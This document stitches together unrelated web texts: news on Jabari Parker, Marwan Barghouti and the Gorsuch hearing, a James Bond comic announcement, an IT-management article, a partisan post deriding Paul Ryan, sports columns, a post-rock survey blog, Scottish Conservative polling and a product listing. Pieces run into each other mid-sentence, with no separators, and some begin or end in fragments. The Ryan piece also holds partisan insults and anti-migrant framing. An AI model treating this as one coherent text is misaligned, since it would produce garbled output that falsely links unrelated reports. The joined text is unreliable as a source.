Jabari Parker, one of the young stars on the NBA’s Milwaukee Bucks, a team that stopped staying at Trump hotels after 2015-16, said the switch was definitely due to politics.
“I don’t care what haters think — I’m proud to not stay in Trump hotels,” the Bucks forward told the Sporting News in November. “I don’t support someone who endorses hate on other people. He ran his campaign on hate. He’s attacked everything that I am and believe. I was named by a Muslim man. My mother didn’t get her citizenship until much later in life. She is basically an immigrant because she came from Tonga. She was paid less because she was a woman.”The Israel Prison Service released a video on Sunday purportedly showing Palestinian inmate and hunger strike leader Marwan Barghouti secretly eating a candy bar and other food in the bathroom of his cell on Friday. Barghouti, a convicted terrorist serving 5 life sentences, has been leading a large-scale hunger strike in the past 3 weeks among Palestinian prisoners to push for more privileges, ratcheting up tensions with Israel and on the Palestinian street. The video shows two separate occasions — on April 27 and May 5 — in which Barghouti could be seen apparently unwrapping food in his prison cell and eating it in his toilet stall. When asked for comment, a prison service spokesperson said: “The video speaks for itself.” The Palestinians dismissed the video, claiming it was fabricated.Back in October Dynamite Entertainment announced that it would be launching a new ongoing James Bond comic book, and now CBR has revealed that the publisher has enlisted Warren Ellis (Moon Knight) and Jason Masters (Wolverines) as the creative team for James Bond 007.
“Ian Fleming’s James Bond is an icon, and it’s a delight to tell visual narratives with the original, brutal, damaged Bond of the books,” states Ellis.
James Bond 007 is set to launch in November to coincide with the worldwide release of Spectre. The first story arc will be titled ‘VARGR’, and here’s the official description:
“James Bond returns to London after a mission of vengeance in Helsinki, to take up the workload of a fallen 00 agent… but something evil is moving through the back streets of the city, and sinister plans are being laid for Bond in Berlin.”At his confirmation hearing today, Supreme Court nominee Neil Gorsuch declared that D.C. v. Heller was the law of the land and that he would apply and enforce that decision if confirmed.
“Whatever’s in Heller is the law,” he replied to questions about the Second Amendment from Senator Dianne Feinstein (D-Calif.) “And my job is to apply and enforce the law.”
Senator Feinstein, who has a rather restrictive view of enumerated rights such as freedom of the press and the right to keep and bear arms, tried to bait Judge Gorsuch into supporting her agenda. The Judge, however, didn’t play along.
The dialogue quoted below illustrates this, and is notable for two reasons–one amusing, one not.
SEN FEINSTEIN: In D.C. v. Heller, the majority opinion written by Justice Scalia recognized that — and I’m quoting — of course the Second Amendment is not unlimited,” Justice Scalia wrote, for example, laws restricting access to guns by the mentally ill or laws forbidding gun possession in schools were consistent with the limited nature of the Second Amendment. Justice Scalia also wrote that weapons most useful in military service, M-16 rifles and the like, may be banned without infringing on the Second Amendment. Do you agree with that statement, that under the Second Amendment, weapons that are most useful in military service, M16 rifles and the like, may be banned? JUDGE GORSUCH: Heller makes clear the standard we judges are supposed to apply. The question is whether it’s a gun in common use for self-defense, and that may be subject to reasonable regulation. That’s the test as I understand it. There’s lots of ongoing litigation about which weapons qualify on those standards. Whatever’s in Heller is the law. And I follow the law. SEN FEINSTEIN: Do you agree [OVERLAPPING TALK]– JUDGE GORSUCH: It’s not a matter of agreeing or disagreeing, respectfully, Senator, it’s a matter of it being the law. And my job is to apply and enforce the law.
On the funny side, Sen. Feinstein’s endorsement of the dicta from the Heller decision regarding full-auto M-16s undermines something she’s (allegedly) averred: that the bit in the Second Amendment concerning the militia (“A well regulated Militia, being necessary to the security of a free State….”) limits Americans’ right to keep and bear arms |
poorly in income terms, but from which we gained a great degree of personal satisfaction. Perhaps I'm wrong in this conclusion (as a confirmed hippie who believes that all work should come from personal passion, and the money will follow), but I don't think so. Given a choice between a high-paying dead-end job and a rewarding one (for slightly less money) that generates personal pride and a sense of accomplishment—well, I have a hard time believing that most developers would choose the former.
My interpretation of the mercenary answer is that most developers don't really know what motivates them... which means that their managers have to make individual judgments about the people who report to them. "Money" is an easy response—too easy—because we all like to be paid a lot.
Developers, however, are not necessarily introspective. Unless they personally have a tropism toward team (if not upper-level) management, they may not give much thought to the things that bosses can do to motivate them to do their best work. That task, then, remains firmly in your lap. In which case, it probably will help to apply the advice given above by the developers who do know what they want.
A Purr-fectly Reasonable Analogy
It may be helpful to think of good IT people like cats, wrote Pat Phelan, a database administrator who specializes in PeopleSoft technologies. "If you treat them well, offer the occasional special treat, and discipline them fairly, it can be done and done well. If you miss a point or two now and then, they'll adjust," he says. "If you miss any of these points consistently for too long, the really good ones will start to wander off in search of better opportunities."
And managing them is a lot like herding cats. The corollaries apply, too, says Phelan. For example, micromanaging a cat is pointless; the results are frustration for both you and the cat. "Make sure that the cat understands what you want. If you've done a halfway good job of handling the cat, it will consistently surprise you by doing a better job than you can imagine, and often in ways that you would never have thought of and couldn't explain if you had thought of them!" he says. Plus, trying to understand a cat is highly educational, but rarely profitable because, after all, cats do what cats do. It is a bad idea to either over- or underfeed a cat, Phelan advises. "Overfed, they get lazy. Underfed, they'll do things you don't want them doing. Find the appropriate level for each cat. Always leave room for the occasional treat (some earned, and now and then one 'just because')."
Do not abuse the cats, he adds. They'll do things to get even that you'll never think of. Remember, too, that cats learn a lot by playing. Always try to leave them time to play. The exercise is good, the team building is good, and you often end up with better-behaved cats.Paul Ryan Capitulates, Welcomes Obama’s ‘Overdue’ Russia Retaliation
House Speaker, Paul Ryan welcomes Obama’s Russia retaliation and says ‘it is an appropriate way to end eight years of failed policy with Russia’.
Yahoo reported:
Far from a full-throated endorsement of Obama’s actions, Ryan’s statement condemned the commander in chief for eight years of what he considers “ineffective foreign policy” that left the United States more vulnerable than it was when he took office in 2009. Nevertheless, Ryan agreed that Russia is a threat to global security. “Russia does not share America’s interests. In fact, it has consistently sought to undermine them, sowing dangerous instability around the world,” Ryan said shortly after the White House announced the punishments. “While today’s action by the administration is overdue, it is an appropriate way to end eight years of failed policy with Russia. And it serves as a prime example of this administration’s ineffective foreign policy that has left America weaker in the eyes of the world.”
Two other worthless RINO clowns, Sen. John McCain and Sen. Lindsey Graham chimed in with a joint statement:
“The retaliatory measures announced by the Obama administration today are long overdue,” they wrote. “But ultimately, they are a small price for Russia to pay for its brazen attack on American democracy. We intend to lead the effort in the new Congress to impose stronger sanctions on Russia.”
This is the same Paul Ryan who fought hard to bring in hundreds of thousands of Muslim migrants to our neighborhoods while he’s ensconced in a compound surrounded by a huge wall. This is the same Paul Ryan who has vowed to fight Donald Trump yet has repeatedly folded to Obama.
Paul Ryan will be remembered for saying ‘This is not who we are’ every time Trump brought up legitimate concerns over this administrations reckless policies. The truth is, Paul Ryan, YOU are not who we are.Nebraska assistant coach Ron Brown, the subject of recent national headlines after speaking out against an Omaha gay and transgender anti-discrimination law, won't attend a hearing Monday in which the Lincoln City Council will consider passing a similar ordinance.
But it's by no means because he regrets the public nature or vehement argument of his initial stance -- or because he has been discouraged by coaches or administrators to do otherwise.
Nebraska assistant coach Ron Brown, a vocal opponent of an Omaha gay and transgender anti-discrimination law, won't attend a hearing in which Lincoln will consider a similar ordinance. Justin K. Aller/Getty Images
Brown, who the university has said is within his rights as a citizen to express his religious and political views publicly, says he doesn't want his appearance to make news.
"A number of fellow Christians who have been working on legislation and working on the nuts and bolts of this issue told me, 'Look, there's going to be so much media attention over you, it's going to take away from the issue,' " Brown told the Lincoln Journal Star on Saturday.
"Everything inside of me said, 'I don't want the media to stop me from going.' Then I realized it was going to be a circus, and everybody already knows how I think. My views stand the same.
"As I prayed about it, I thought it was not in the Lord's will for me to testify."
In March, when the Omaha City Council held a hearing for the measure that added local protections against discrimination for gay, lesbian, bisexual and transgendered people, Brown challenged ordinance sponsor Ben Gray and other members to remember the Bible does not condone homosexuality. He told council members they would be held to "great accountability for the decision you are making."
In the aftermath of the speech, Cornhuskers athletic director Tom Osborne and university chancellor Harvey Perlman defended the right of faculty and students to voice their opinions about public events and issues.
But he was reprimanded for listing Memorial Stadium in Lincoln as his address of record in the council register. According to the Journal Star, he has apologized to Perlman for that.
"Nobody has told me at the university that I couldn't go," Brown told the newspaper on Saturday regarding the Lincoln hearing. "I've gotten assurance from the chancellor that, as a citizen, I can express my views publicly. I mean, this is almost like voting.
"I appreciate the University of Nebraska allowing me to go to the hearing if I chose to do so."
Nebraska coach Bo Pelini reiterated to the Journal Star that Brown would not be discouraged from appearing and speaking before the Lincoln council.
"Would I tell him not to go to the hearing? Absolutely not," Pelini said.Being transgender used to be the kind of thing that could make a modeling career come tumbling down.
There was Vogue model April Ashley, whose career abruptly ended in 1961 after being outed by a friend. Then there was Tracey "Africa" Norman, who modeled for Italian Vogue and Harper's Bazaar and was outed in the early 1980s, signaling the end of her career as well.
Times have thankfully changed. Not only is Norman back in the spotlight but there is now a new league of people who are trans and killing the modeling game. Hell, there's even a modeling agency, called Slay Management, specifically for trans models.
To get a peek into this ever-growing industry, Mic spoke with a number of trans models working today. Here, seven models — including Laith Ashley De La Cruz, Isis King, Arisce Wanzer and Dominique Jackson, who are signed to Slay and star in the trans modeling TV show Strut — speak about what they hope to achieve in 2017, and how the progress thus far in the trans modeling industry is helping them achieve those dreams.
Laith De La Cruz
Mic/Getty Images Laith Ashley De La Cruz
"It's the official campaigns that I want," Laith De La Cruz, one of the first trans models to land a national fashion campaign and who has appeared on the cover of Attitude magazine, said. "I'm not going to limit myself. I want it all. I want the big Gucci campaign, and I want to be in the commercial stuff at the mall. I want people to see me."
Isis King
Mic/Getty Images Isis King walks for Chromat.
"If you're a trans model, you have to be the fiercest model on the runway," Isis King, who made history as the first transgender contestant on America's Next Top Model and appeared in an American Apparel campaign, said. "You have to bring it. And I think that people are starting to realize like wow, these models are very exceptional. We're more than capable. I see a lot of hope for the future because I was in the generation where one or two of us were on TV and had this slow progress. Now, it's so clear that this is going to work."
Benjamin Melzer
Mic/Facebook Benjamin Melzer
"I think the industry is changing. When it comes to modeling, of course it's still about beauty and sizes, but that's no longer the only factor. Personality, story and following also contribute to a model's value for a client and transgender models bring a lot of that to the table," Benjamin Melzer, who made history as the first transgender model on the cover of Men's Health in Germany, said. "The world is changing. I'm working very hard to play my part in a positive change. I want to open doors for the younger ones. My dream is that collectively we can remove the glass ceiling for transgender models in the industry."
Maya Monès
Mic/Getty Images Maya Monès walks for Chromat.
"We're all in this together, literally. So you can't ignore us," 22-year-old Maya Monès, who's walked for Gypsy Sport and Chromat and has appeared in a spread for CR Fashion, said. "You cant hide us. We're here. People are going to realize the beauty in between boy and girl."
Arisce Wanzer
Mic/Getty Images Arisce Wanzer walks during New York Fashion Week in September.
"I want to pave the way for women everywhere," Arisce Wanzer, who's been modeling since she was 17 and appears on the TV show Strut, said. "We shouldn't take shit from anybody. I want people to know that when people say no to you, that means you can't do something for them. We need to be in catalogs. We need to be selling dish soap. We need to be in Charmin toilet paper commercials. I want to dominate."
Loiza Lamers
Loiza Lamers at Berlin Fashion Week Mic /Ray Depatti
"Transgender men and women are fighters by nature. We have been fighting for our place in society since birth, so when it comes to this industry, we are willing to go the extra mile and take nothing for granted," Loiza Lamers, who made history in 2015 as the first transgender model to win Holland's Next Top Model, said. "These days when people view a big campaign with a model, the first thing they want to know after the clothes is who is that in the campaign. Being transgender, the answer is often very interesting for people, and they want the whole backstory."
Dominique Jackson
Mic/Oxygen/Twitter Dominique Jackson
"There is much less stigma. Now designers invite you to walk their shows, making you feel that you have value instead of them feeling that you are a huge risk to the advancement of their careers," Dominique Jackson, an activist and author who's been modeling for more than 20 years, said. "I believe that we are putting our truth out to the world so that the fashion industry and the world can get over the pretentious shock that we do exist and many of us can continue to work in the fields that we are so well-built and created to execute. Modeling isn't taught; it's manifested and nurtured."I had a chance to be in Chicago on Tuesday night to cover the college basketball games for Grantland, and I said no for two reasons. First, because most early-season college basketball showcases are sloppy and a little bit depressing. Second, because after the months of obsession over Andrew Wiggins, Jabari Parker, and Julius Randle, there’s no way they could possibly live up to it.
People were comparing Wiggins to Durant and McGrady. Jabari Parker was supposed to be Paul Pierce and Glenn Robinson, and Julius Randle was the closest thing people had seen to LeBron.
There were 80 NBA scouts in attendance last night, which is a reminder that (a) NBA teams probably waste SO MUCH money scouting players they’ll never have a chance to draft, and (b) this has all gotten kind of ridiculous. The United Center sold out the stadium Tuesday, and tickets for what was basically a preseason basketball exhibition were going for $750 apiece. We were due for a letdown.
But then all the players in Chicago made me look like an idiot.
We were planning on starting a series called Freshman Report Card later this season to track all the best prospects in college hoops, but last night was so ridiculous we might as well kick it off now. Let’s start with the first game.
Julius Randle
Kentucky actually started the night by making me look like a prophet. The Wildcats were disorganized and sloppy on offense, everyone looked overwhelmed, and they didn’t score a point for the first five minutes of the game. Michigan State reminded everyone that it has outrageous talent all over the court, too, and it looked like the better team for the entire first half. Perfect game to watch from home.
Then Julius Randle happened.
Dominant big men are almost always frustrating; the guys who look like they could overpower everyone on the court whenever they want to almost never actually do it. They are either out of shape, or they don’t have the killer instinct, or they get into foul trouble, or they don’t have the footwork or touch around the rim — whether you’re talking about Dwight Howard on the Rockets this year, Greg Monroe at Georgetown, or even Greg Oden at Ohio State. There are a lot of “can’t-miss” dominant big-man prospects who never seem to actually dominate.
All of which made it twice as fun when Randle came out in the second half and just went to work killing everyone. He scored the first six points of the second half, and spent the rest of the game attacking every time he touched the ball. All his offensive possessions should be set to 808 drums while he just bodies everyone. Emailing back-and-forth with coworkers last night, someone threw out “more powerful Amar’e” as a comparison. I was thinking Elton Brand at Duke. Others have said Zach Randolph.
Either way, his touch around the rim is incredible, his footwork is flawless, and he was the best rebounder on the floor in either game Tuesday. If Kentucky’s other star freshmen — the Harrison twins — turn into stars by January and February, the combination of them, Randle, and James Young will make Kentucky the most terrifying team in the country. Mostly because of Randle. For all his skills, the most impressive part of Tuesday night was just how ruthless he was in attacking the Michigan State front line. When he scored over a triple-team halfway through the second half, I just blurted out “Jeeeeesus Christ” from my couch.
This was right about the same time that everyone decided Randle was the best player in college basketball and the real no. 1 pick in next year’s draft.
Jabari Parker
Before anyone had ever heard of Wiggins or Randle, Parker was supposed to be the second coming of LeBron. There was that Sports Illustrated cover, and even before that, no less an authority than Derrick Rose anointed Parker the next great superstar out of Chicago. Then the hype sort of plateaued last year, while everyone discovered Hellbeast Julius Randle and then Wiggins, the freak-of-nature athlete from Canada. Next to all that, Parker seemed a little ordinary.
He still had all kinds of hype, but he wasn’t as athletic as Wiggins or as big as Randle, he got hurt his senior year, and when people described him as the most polished NBA prospect it seemed a little bit backhanded. NBA fans want exotic talent and limitless potential; flawless fundamentals aren’t as fun to dream about all year. But in the first half last night?
Polished looked pretty awesome.
Jabari was nailing jumpers in people’s faces, then getting to the rim and finishing, and all the polish just meant that he could do pretty much whatever he wanted on the floor. There was also the one-handed alley-oop:
He finished the first half with 19 points that felt way too easy, and at halftime Bill Self told ESPN, “We couldn’t guard Jabari, obviously.” This is also when everyone pivoted to calling Jabari the new no. 1 pick.
hari-kari for jabari is the new riggin for wiggins — jay caspian kang (@jaycaspiankang) November 13, 2013
Then …
Andrew Wiggins
Probably the highlight of the night was checking Twitter during halftime and seeing someone compare Wiggins to Gerald Green or a “poor man’s Paul George.” Sports fans are RUTHLESS. But yeah, Wiggins got into foul trouble early and struggled to get going while Jabari set the world on fire. Things were setting up perfectly for a Wiggins backlash. Then came the second half, in which he scored 16 points and ended the game with (1) a clutch face-up jumper that was maybe the most NBA-quality play anyone had all night, and (2) a breakaway dunk in which he outran everyone on the court.
A few things became obvious with Wiggins last night.
• He’s not as polished as Jabari, and he’s nowhere near as physically dominant as Randle.
• The form on his jumper is flawless, and he’s quicker than anyone in the country.
• He’s the most gifted athlete college hoops has seen since Durant.
• Watching him in Bill Self’s offense will drive NBA fans crazy all year.
• He’s talented enough to give people nightmares anyway this season.
• And he’ll have a few moments each game that remind you just how limitless his potential really is.
Everyone who’d fallen in love with Randle and Jabari over the first 60 minutes of college hoops spent the last 20 minutes watching Wiggins score 16 points, attack the rim with unstoppable quickness, show off a jumper he can get off over anyone, and ultimately seal the win for Kansas in the final two minutes. And he has more room to improve than anyone in either game. It was like, “Ohhhh, right, so this is why people have been freaking out for the past nine months.”
On a night that saw everyone flip-flop back and forth picking the most outrageous future superstar, I think most people ended up back at square one by the end.
A lot of NBA fans look down on college basketball because it’s sloppy, and watching guys like Wiggins or Parker mostly just gives everyone an excuse to complain that they’re forced to go to school in the first place. A lot of college fans see these superstars playing on teams like Kentucky and complain that the one-and-done superstars ruin the spirit of the sport. What was great Tuesday is that nobody could possibly complain about what happened in Chicago. It was the perfect way to kick off a season that should make all those stupid debates irrelevant.
People will spend all year obsessing over these three freshmen, but then you throw in teams like Michigan State with Adreian Payne and Gary Harris, Oklahoma State with Marcus Smart, Arizona with Aaron Gordon, Michigan with Glenn Robinson III and Mitch McGary, Louisville with Russ Smith defending the national title … and probably four or five other players and teams who will entertain people all year.
Teams and coaches matter in basketball — especially college basketball — but it all works best when there are stars who end up transcending everything else on the court. Nobody will remember the thousands of annoying whistles when they think back to last night. They’ll remember Michigan State’s starting five impressing everyone, Perry Ellis and Wayne Selden on Kansas, and a Duke team that’s alarmingly hard to hate. And mostly, everyone will remember Randle, Parker, and Wiggins.
At least today, choosing between those three is irrelevant. There really isn’t a bad option here. We’ll probably enjoy each of them for different reasons, and they’ll all be equally baffling for the next five months. The season could look a lot like Tuesday in Chicago. One night we’ll lose our minds over Randle, then it’ll be Jabari, then Wiggins, and by the end, it’ll be hard for anybody to complain.
The one constant in sports is hype. It’s always been like this with folk-hero superstars, but with today’s media the legends grow faster than ever, and it usually gets a little out of control, and it almost always ends with us being disappointed.
That Jabari Sports Illustrated cover is a perfect example. Or Sports Illustrated‘s college-hoops preview a few weeks ago, comparing Wiggins to Wilt and Danny Manning. Our ability to abandon sanity is kind of incredible, and it happens constantly. That’s what made Tuesday so awesome. With a thousand season previews and YouTube clips and scouting reports, we only get caught off guard when someone actually lives up to it all.
The only thing more amazing and ridiculous than the hype is watching someone somehow deliver on everything. Or three someones, in this case.Introduction
I’m a TV series fan, you know that. One of the latest best product of this field in Italy is the so called Gomorra La Serie series. It is a crime drama series, based on the homonymous book Gomorra.
I must admit that I’m really not a fan of drama series (except for Breaking Bad maybe, can we define that a drama series?). It happens, however, that I’m a musician (not a good one, tho) and what I liked the most in Gomorra was the original soundtrack (OST). That is, the OST of the series is made by an Italian band called Mokadelic. And guess what? They are a post-rock band!
Well… what’s post-rock? Is that a music genre? Is a new way of expressing ourselves by doing kind of weird music? Is something that you can eat? According to Last.fm, post-rock is not a kind of food but
Post-rock music uses rock instrumentation but disregards typical “rock” song structure. Mostly instrumental, a typical track features quiet arpeggios around simple chord progressions that swell into rousing crescendos. Fans liken the style to the avant-garde with soundscapes similar to that of “classical” music, while detractors counter that most modern post-rock is just pretentious, bloated noodling on a basic format.
I really like post-rock, it is like all of the music I listened to and I liked are fused together in a new sound. Artists such as Explosions in the Sky, Maybeshewill, Godspeed You! Black Emperor and The Album Leaf are capable of creating a sound which directly hits your feelings and makes you feeling like a sentimental bag of candies (and I’m so proud of being so!).
I often listen to post-rock when I work, study, read or walk somewhere. Thus, the idea of combining computer science and post-rock surely appeared out of the blue. I asked myself whether there was something interesting to do about and I came out with two main ideas, mainly
try to characterize a subset of post-rock artists by analysing their tracks and albums, maybe discovering some patterns or relationship, as I am a music devourer, try to enlarge my horizons and discover new artists related to the post-rock giants by creating a network of post-rock artists and exploring them by reaching the frontiers.
This articles is a two episodes series, composed by two different post. In the current one, I illustrate the results of a survey I made on the Internet, in order to characterize a subset of post-rock artists from which I could start for the second part. In the next one, I will show two main things, that are (i) the analysis of tracks and albums of the subset and (ii) the characterizing of the post-rock worlds by using the underlying network of artists/bands presented in Spotify (yeah, this is an article about scraping Spotify!).
Let’ start with the first part!
The data or “how I bored people and stressed Spotify”
The two main ideas (the characterization and the network) are strictly correlated. In order to popolate a network by exploring Spotify, I needed a subset of post-rock artists that could be representative of the post-rock world by a degree of certainty. This step can not be automatized without already having a dataset, thus I made the only possible and logical thing: I asked humans!
I’ve made a online survey by Google Docs in which I asked to write down 10 post-rock artists in order of preference. I linked the survey on reddit and various Facebook groups about post-rock. In the acknowledgments of this post, you can find all of the nicknames of the people who participated to the survey!
For the second part, I navigated Spotify by starting from the artists gathered by the survey and I took their relates: we define two artists as related if the first artist is shown in the second one’s related artists or vice versa. The whole process was made by python and the Spotify API; I tried to be gentle, so for each request I waited for a certain number of ms, up to one sec. Remember that the network and its analysis will appear in the second episode of this article.
The first part or “what a nice survey”
Note that throughout the whole section I made conclusions or insights which follow the results of the survey. Obviously, they might not reflex the absolute truth.
The survey resulted in 169 votes for 229 distinct post-rock artists. Although these are just the results of the survey, we already have an interesting point of view of the post-rock world: there are at least 229 distinct post-rock artists! That’s not bad, considering the target of the survey.
Let’ see how the top twenty look like:
Top 20 post-rock bands by survey.
That’s cool! We clearly see that the first three are Goodspeed You! Black Emperor (with 106 votes), Mogwai (105) and Explosions In The Sky (104). Moreover, in the following three positions we have the This Will Destroy You, Mono and Sigur Rós each with 73 votes.
What about a pie chart? Yeah, I know, pie charts are evil for storytelling, but in this case I like it for one simple reason: it is easy to understand the distribution of each top twenty artist with respect to the total votes.
A post-rock pie.
We see that the 30.5% of votes went to other different artists! Here’s the complete list:
Lost In The Riots, Ziriphon Fireking (thailand), Athletics, Balmorhea, Lis Er Stille, Talons, Shield Patterns, The For Carnation, Low, Dorena, Battles, Labradford, When The Light Dies, Joy Wants Eternity, Bells, Exxasens, Mono (japanese), Mutiny On The Bounty, We Stood Like Kings, Final Days Society, The Allstar Project, Félperc, Wang Wen, Aesthesis, Spoiwo, Paint The Sky Red, You Slut!, World’s End Girlfriend, Scraps Of Tape, Sunn O))), Frames, Silver Mt Zion, Iliketrains, Astralia, American Football, Hrsta, Ttng, Brainbow, Ascent Of Everest, Codes In The Clouds, Thisquietarmy, Les Discrets, Some Pink Floyd, Cleft, Fly Pan Am, Audrey Fall, Celestial Wolves, Low Frequency In Stereo, Leech, Pg.lost, Harakiri For The Sky, Envy, Thee Silver Mt. Zion Memorial Orchestra, M83, For A Minor Reflection, Motek, Stars Of The Lid, Alcest, Silver Mt. Zion, Jesu, Deafheaven, Gybe, Yume Bitsu, As The Stars Fall, Lift To Experience, This Patch Of Sky, Anatomy Of The Bear, Inspirative, Rosetta, Seely, The Best Pessimist, Message To Bears, This Is Your Capitan Speaking, Lymbic System, Red Sparrowes, The Six Parts Seven, We All Die! What A Circus!, Year Of No Light, Arab Strap, The Red Sparrowes, Spaces, We Lost The Sea, The Winchester Club, Oceansize, We.own.the.sky, Audio Leaf, Olafur Arnalds, Toe, Immanu El, Echoes And Signals, Rooftops, Jizue, Snezhinki, Giant Squid, Pelican, El Ten Eleven, Giants, Samuel Jackson Five, I Am Waiting For You Last Summer, Sonic Youth, Talk Talk, Cult Of Luna, Krobak, Hope Of The States, Amenra, French Teen Idol, Ohbtt, Industries Of The Blind, Lite, The Mercury Program, The American Dollar, Mouth Of The Architect, People For Audio, Baulta, Lights & Motion, Deadhorse, As A Marionette, Get Well Soon, Tycho, Slowdive, Years Of Rice & Salt, Man Is Not A Bird, Piglet, Te, Katatonia, The Saint Moving Hills, Daturah, Red Room Cinema, Set Fire To Flames, Her Name Is Calla, Go! Save The Hostages, Toundra, Collapse Under The Empire, Get Lost, Wire Avenue, The World Is A Beautiful Place & I Am No Longer Afraid To Die, Deftones, Lost In Kiev, Grails, And So I Watch You From Afar, Saxon Shore, Gifts From Enola, Cloudkicker, Tunturia, Crippled Black Phoenix, Codeine, Hundred Year Old Man, Kokomo, The Ocean, Lights Out Asia, Moving Mountains, Neurosis, Blackpaperplanes, The Album Leaf, Camera, Bark Psychosis, Silent Whale Becomes A Dream, Sumner Mckane, Isis, No Clear Mind, The Appleseed Cast, Mouse On The Keys, Tokyo Shoegazer, A Silver Mt. Zion, Our Ceasing Voice, *shels, Rachel’s, Thee Silver Mt. Zion, Follakzoid, A Sudden Burst Of Colour, The Evpatoria Report, Esmerine, Lakes Of Russia, Rodan, Elephant Gym (taiwanese), Waking Aida, Tacoma Narrows Bridge Disaster, Boards Of Canada, Maserati, Moonlit Sailor, Critters Buggin’, Lowercase Noises, Ana Never, Mooncake, Sleep Dealer, Clay, Evpatoria Report, So I Watch You From Afar, Jakob, Long Distance Calling, Bear The Mammoth, Dirty Three, Stories From The Lost, Helios, June Of ’44, This Is Your Captain Speaking, Tracer Amc, April Rain, Killbody Tuning, Hyakkei, Tarentel, Tides From Nebula, The Echelon Effect, The Monroe Transfer, Go March, Latitudes, Coldbones, Giardini Di Miro’, Endless Melancholy.
The average of votes for all of these artists is 1.95. If you’re interested, I wrote in bold my favorites! You can see that there are a lot of typography errors: to solve this issue, a bit of ETL would be ok.
Now, something interest: how are distributed the top twenty artists among the ten possible votes?
Well, that’s really interesting! Straightforwardly, GY!BE are more likely to appear as first or second vote, while EITS are more likely to appear as second than first one. If we look at Maybeshewill, we see that they are more likely to appear in fourth position. Note that GY!BE are really a strong preference, in the sense that whether they appear, they have been voted as first or second position, otherwise is more likely that they haven’t been voted at all!
End of the first part
Here comes the end for the first part. In the second part of this article I will explain how I scraped the Spotify network and what I have found.
Stay tuned!
Acknowledgments
Thanks to all of the following people:
honeybadger, Druidreh, Johannes, haggiskop, Lionel, Leviathan, Chris, Birdy, sarah, Brandon, lucidstack, Alex, Tom, wotsy, Sad Mafioso, sersum, DerikStar, Light Grenade, Rasputin, rockprivado, FlowManchu, erostrato, John most, Rico, Heavy Jay, J8, Ice_Crystals, Sweezus, Madd, Emilio, Greta D, Entroper, Annika, Lea, CodeTheInternet, astronadal, God is an Astronaut, andyxanthos, tanktopblackhole, Patrick, NorseViking, theturtle, cross, Ajinho, Mart, Jamy, mattdoom, Oddur, uhveevah, Hypnagogia, Junii, jk, Lchenay, vijujako, KC, Ploiploylek, PostRock McBlast, RockeTim, CrossbowPig, doolittl, Vi, Dieng, VikingDrew, Cln, Faust, bop, Abdulrahman salem, fred_d, Outsider Elabazutje, Mannister, Too Many Fireworks, Joe Marshall, tegshee, Andru, TheOutsiderMusic, Nick, Teddasaur, RedCarver, dustymalone, marijansap, Tobster, JCN, unco, Jack, Daniela, Jetstream, Serge2702, MarkB, Gatonegro, Bob, Mike, Gaël13, Trout, Tzaro, Central Dogma Station, Laura Davies, loner, oyo, /u/wolflambert, cemertul, hectormauer, Xu, Mamonta, Lanttu, Matt, jlfraser555, Sarah Chay, マジシャン, Shubham, Bozeman, JJ, Hugh Wehner, jdiamjr, yogurtaha, snyder9, Ilmealou, sinoth, Nogggs, sam, Meindert Tangerman, absentimental, Will, Tom Lobban, nolovekissme, Newstarts, Jake, OKcancel, Marionnette, Mt, theChildinTime, shnamen, tanakaneko, Zjef, Svaba, A good rioja, NothingImportant, Bohemic, Appleton, artoots, Jack the Giant Killer, MetropolisPt31, graywolfmoon.LAST WEEK I upset a few people chomping on their Special K, or savouring their bio-yogurt (never cornflakes if you’re Edinburgh’s metropolitan elite).
I had the temerity to consider that a recent ComRes poll that showed the Scottish Conservative Party at an all time low of seven per cent just might be right. I only considered it mind; I didn’t actually say it was. Far more important, I argued, are polling trends – as single polls may turn out to be rogue. Still, I also pointed out some reasons why it could be a straw in the wind of what is yet to come, not least that ComRes put UKIP in double figures like other polls had in England.
The problem was that in this UK poll the Scottish sample base was only 181 when we would normally look for samples to be at least 500, even better, double that.
A few days later another poll came out, this time from YouGov, showing an incredulous 21 per cent on a sample of 180. I say incredulous for that is higher than what the Scottish Conservatives polled in the 1997 General election when there were eleven MPs, lots of activists (and fifteen years younger), loadsamoney and a growing economy. It has been a steady decline since (and that was already a steady decline then!)
I was reminded by another sceptic that YouGov once put the Scottish Tories at 28 per cent only for them to eventually manage a 16.9 per cent share. Still, what Ruth Davidson would give for 16.9 per cent now!
Clearly both polls cannot be right and there’s every possibility that both are wrong and the reality is the party is closer to its Holyrood share of 13.9/12.4 per cent in 2011, which was the lowest electoral result in its history.
So let me say for the record, if Ruth Davidson manages to arrest the seemingly inexorable decline and just keeps her party at 13 per cent she will have done more than David McLetchie or Annabel Goldie before her. She will have halted the obituaries, saved her own seat and maybe, just maybe, created a platform to start building upon again.
My sympathies being what they are I wish her well, but on this rare occasion my glass is not even half full, it is empty and thanks to the minimum alcohol pricing that she supports it’s unlikely to be filled up until she shows a change in direction.
I recall all of this to give some context to what I wish to discuss today, for I promised last week that I would look to what she might do as leader to give her and her followers some expectation of success rather than mere hope of it (with their fingers crossed).
Today Ruth Davidson makes a keynote speech, partly because she recognises (thankfully) that she has to do something to get herself and her party noticed and in its timing because it’s Burn’s Day and she wishes to emphasise her Scottishness. Her speech, in what has been trailed so far, is remarkably like the launch of Murdo Fraser’s campaign for leadership, for she accepts that the party has made mistakes, accepts to some degree that the Scottish public distrust and don’t like her party and even plays the hand that I have written about many times – that the Scottish Tories are seen as London’s party in Scotland rather than Scotland’s party in London.
I suspect there’s more of this self-flagellation to come, today’s talk may even become known as the Fifty Shades of Blue speech, seeking political release from the pursuit of painful contrition.
|
grew up in Ashland, Ky., before graduating from Kentucky with a degree in French. "I just happen to be a basketball nut."
Judd, who splits time between Tennessee and Europe with her racing driver husband Dario Franchitti, isn't sure she'll make any tournament games this year.
She's out promoting "Missing," the midseason replacement show about a worried mother/retired CIA agent who takes it upon herself to travel to Europe to track down her son, who disappears while on a summer internship in Italy.
"Filming in Europe was spectacular and the cast is excellent, but it's exhausting being that far away from home," said Judd, who has been married since 2001. "I was ready to come home and put on my blue pants and T-shirt to watch some hoops!"
And now she's ready to root on her Wildcats. This is what her bio says on Twitter: "Author. Advocate. Actor. Star of Missing, which premieres 15 March on ABC, 8 pm EST. 'Cats win it all, 2 April!"
"We're capable of going all the way, no doubt about that," Judd said. "If I can't make it to a game, we'll invite some friends over, and you must be knowledgeable. I don't want any 'Johnny-and-Jane-Come-Latelies' coming to the party. You must be there to lift up all things Kentucky!"The Pineapple logo is a popular icon within the r/trees community on Reddit. As an extension of our love for Reddit and the love and enthusiasm they share with us, we are pleased to offer this special-edition, laser-etched Launch Box.
Reddit Pineapple Laser Launch Box Kit includes:
